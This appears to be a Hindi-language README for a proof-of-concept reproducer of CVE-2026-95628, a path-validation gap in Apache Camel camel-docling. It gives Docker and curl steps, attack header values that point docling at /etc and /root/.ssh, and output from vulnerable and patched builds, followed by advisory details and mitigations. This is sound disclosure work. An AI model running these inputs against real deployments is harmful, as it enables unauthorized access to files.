
CVE-2026-95628 के लिए रन करने योग्य प्रूफ-ऑफ-कॉन्सेप्ट रिप्रोड्यूसर, जो Apache Camel camel-docling में एक एब्सोल्यूट-पाथ वैलिडेशन गैप है, जिसमें Spring Boot और Quarkus हार्नेस तथा फिक्स सत्यापन शामिल है।
validatePathSafety ने निरपेक्ष पथों को अस्वीकार नहीं किया (CVE-2026-40047 का अपूर्ण समाधान)Apache Camel की उस भेद्यता के लिए चलाने योग्य प्रमाण-अवधारणा पुनरुत्पादक, जहाँ CVE-2026-40047 के समाधान द्वारा प्रस्तुत कस्टम-आर्ग्युमेंट पथ जाँच केवल सापेक्ष ट्रैवर्सल को देखती थी। इसने ../ वाले मान को और उस मान को भी अस्वीकार किया जिसका सामान्यीकृत रूप अभी भी .. तत्व रखता था — लेकिन इसने कभी यह जाँच नहीं की कि कोई मान निरपेक्ष पथ है या नहीं, और ट्रैवर्सल खंडों के बिना एक निरपेक्ष पथ में दोनों में से कोई भी नहीं होता है।
| रनटाइम | निर्देशिका | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
प्रभावित बिल्ड पर आउटपुट (दोनों रनटाइम पर समान):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
जांच 1 और 2 दर्शाती हैं कि CVE-2026-40047 का फ़िक्स अपना काम कर रहा है। जांच 3 और 4 वह अंतराल हैं: फ़्लैग उस
फ़िक्स की अनुमति-सूची में है (--artifacts-path docling को बताता है कि उसके मॉडल आर्टिफ़ैक्ट्स कहाँ मिलेंगे), और मान
दोनों तर्क रूपों में पार हो जाता है — फ़्लैग के बाद आने वाला एक अलग सूची तत्व, और = के बाद जुड़ा हुआ। इसलिए जो पक्ष
कस्टम तर्क चुन सकता है, वह docling प्रक्रिया को उस कार्यशील निर्देशिका के बाहर किसी भी निर्देशिका की ओर इंगित कर सकता है
जिस तक Camel प्रक्रिया पहुँच सकती है, जबकि जाँच का उद्देश्य पथ मानों को उसी कार्यशील निर्देशिका में रखना था — यही वह परिणाम है
जिसे रोकने के लिए पिछला फ़िक्स बनाया गया था।
किसी docling इंस्टॉलेशन की आवश्यकता नहीं है। दोष Camel द्वारा बनाई गई कमांड लाइन में है, इसलिए एंडपॉइंट का
doclingCommand विकल्प CLI के लिए एक रिकॉर्डिंग स्टैंड-इन की ओर इंगित करता है जो उसे दिए गए तर्क वेक्टर को एक फ़ाइल में लिखता है।
वास्तविक DoclingProducer, वास्तविक validateCustomArguments() और वास्तविक
validatePathSafety() चलते हैं; केवल बाहरी टूल को बदला गया है।
केवल CLI मोड, जो डिफ़ॉल्ट है, कस्टम तर्क docling को पास करता है।
CamelDoclingCustomArguments Camel हेडर नेमस्पेस से संबंधित है, जिसे Camel की डिफ़ॉल्ट हेडर फ़िल्टरिंग लागू करने वाले
उपभोक्ता — उदाहरण के लिए JMS और Kafka उपभोक्ता — आने वाले संदेशों से हटा देते हैं। इसलिए यह समस्या वहाँ पहुँची जाती है
जहाँ कोई रूट बाहरी रूप से प्रभावित मानों को हेडर में अग्रेषित करता है, या जहाँ कोई उपभोक्ता आने वाले हेडर को उस फ़िल्टरिंग के बिना मैप करता है।
| गुण | मान |
|---|---|
| घटक | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (किसी पथनाम का प्रतिबंधित निर्देशिका तक अनुचित सीमन) |
| गंभीरता | मध्यम |
| आक्रमण वेक्टर | CamelDoclingCustomArguments में अनुमति-सूचीबद्ध पथ-जैसे फ़्लैग के मान के रूप में एक निरपेक्ष पथ |
| प्रभाव | docling प्रक्रिया को उस किसी भी निर्देशिका की ओर इंगित करना जिस तक Camel प्रक्रिया पहुँच सकती है |
| प्रभावित संस्करण | 4.15.0 से 4.18.5 से पहले तक, 4.19.0 से 4.22.2 से पहले तक |
| ठीक किए गए संस्करण | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24893 |
| श्रेय | Zhixi "Jace" Sun, स्वतंत्र सुरक्षा शोधकर्ता |
सलाह: https://camel.apache.org/security/CVE-2026-95628.html
संबंधित: यह CVE-2026-40047 का अपूर्ण फ़िक्स है, और उसी घटक का आउटपुट-पथ हेडर CVE-2026-95629 है।
validatePathSafety अब पथ-जैसे कस्टम-तर्क मान को भी अस्वीकार करता है जो एक निरपेक्ष पथ है, और एक्सचेंज को
IllegalArgumentException के साथ विफल करता है जिसमें कहा जाता है कि तर्क निरपेक्ष पथ नहीं होना चाहिए। चूँकि
जाँच उस साझा हेल्पर में है जो हर पथ-जैसे मान को मान्य करता है, दोनों तर्क रूप कवर होते हैं।
main पर apache/camel#26738 (fd3bc8e7) में ठीक किया गया, camel-4.22.x में
#26743 (e9233c37) में और camel-4.18.x में
#26744 (59d30af1) में बैकपोर्ट किया गया।
camel.version को 4.22.2 पर सेट करें और इसे फिर से चलाएँ। 4.22.1 → 4.22.2 के विरुद्ध सत्यापित:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
CamelDoclingCustomArguments को उन मानों से न बनाएं जो डिप्लॉयमेंट के बाहर से आते हैं; बाहर से आने वाले संदेशों से उस हेडर को हटा दें, इससे पहले कि वे किसी docling एंडपॉइंट तक पहुंचें; और सुनिश्चित करें कि आने वाले हेडर को मैप करने वाले उपभोक्ता Camel हेडर नेमस्पेस को छोड़ दें, ताकि केवल रूट ही कस्टम आर्ग्युमेंट्स चुने।
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को भेद्यता को समझने, यह सत्यापित करने कि क्या वे प्रभावित हैं, और पुष्टि करने में मदद करने के लिए कि अपग्रेड करने से यह हल हो जाती है। इस सामग्री का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।